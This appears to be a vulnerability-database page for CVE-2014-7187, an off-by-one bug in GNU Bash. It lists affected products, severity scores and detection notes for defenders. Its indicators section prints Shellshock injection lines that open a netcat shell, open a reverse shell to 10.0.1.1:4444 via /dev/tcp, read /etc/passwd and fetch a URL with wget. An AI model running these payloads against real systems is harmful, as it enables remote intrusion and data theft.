cbcvebase.
CVE-2014-7187
published 2014-09-28

CVE-2014-7187: Off-by-one error in the read_token_word function in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service…

PriorityP271critical10CVSS 2.0
AVNACLAuNCCICAC
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
64.62%
99.2th percentile
Off-by-one error in the read_token_word function in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service (out-of-bounds array access and application crash) or possibly have unspecified other impact via deeply nested for loops, aka the "word_lineno" issue.

Affected

50 ranges· showing 25
VendorProductVersion rangeFixed in
appleos_x_el_capitan_v10.11——
appleos_x_yosemite_v10.10.2_and_security_update_2015-001——
citrixcitrix_netscaler_adc——
citrixcitrix_netscaler_sdx——
citrixcitrix_xenapp——
citrixcitrix_xendesktop——
citrixcitrix_xenmobile——
citrixcitrix_xenserver——
citrixnetscaler_adc——
citrixnetscaler_gateway——
citrixnetscaler_sdx——
citrixsharefile——
citrixxenapp——
citrixxendesktop——
citrixxenmobile——
citrixxenserver——
debianbash< bash 4.3-9.2 (bookworm)bash 4.3-9.2 (bookworm)
gnubash——
gnubash——
gnubash——
gnubash——
gnubash——
gnubash——
gnubash——
gnubash——

Detection & IOCsextracted from sources · hover to see the quote

command() { ignored;}; echo 'moo'↗
command() { ignored;}; /bin/nc -e /bin/bash localhost 7777↗
command() { ignored;}; /bin/bash -i >& /dev/tcp/10.0.1.1/4444 0>&1 &↗
command() { ignored;}; /bin/cat /etc/passwd↗
command() { ignored;}; /usr/bin/wget http://google.com↗
  • →Shellshock payload pattern: environment variable values beginning with '() { ignored;};' followed by a command — injected via DHCP option fields (e.g., dump_path) to exploit dhclient invoking Bash. ↗
  • →CVE-2014-7187 ('word_lineno' issue) is triggered via deeply nested for loops in Bash causing an off-by-one out-of-bounds array access; look for processes spawning Bash with deeply nested flow control constructs. ↗
  • →Bash may be invoked by telnet, SSH, DHCP, and web server scripts — monitor all such entry points for Shellshock-style '() {' environment variable injection patterns. ↗
  • ·Red Hat Product Security assessed this CVE as having no security impact on bash packages shipped in RHEL; the fix was applied as a hardening measure rather than a security patch. ↗
  • ·The PoC exploit code references multiple Shellshock CVEs (CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187); IOCs extracted are shared across these CVEs and are not exclusive to CVE-2014-7187. ↗

CVSS provenance

nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv10.0CRITICAL
vulncheck10.0CRITICAL
cisa8.8HIGH
vendor_debian10.0CRITICAL
vendor_redhat10.0CRITICAL
vendor_ubuntu10.0CRITICAL
vendor_cisco7.5HIGH
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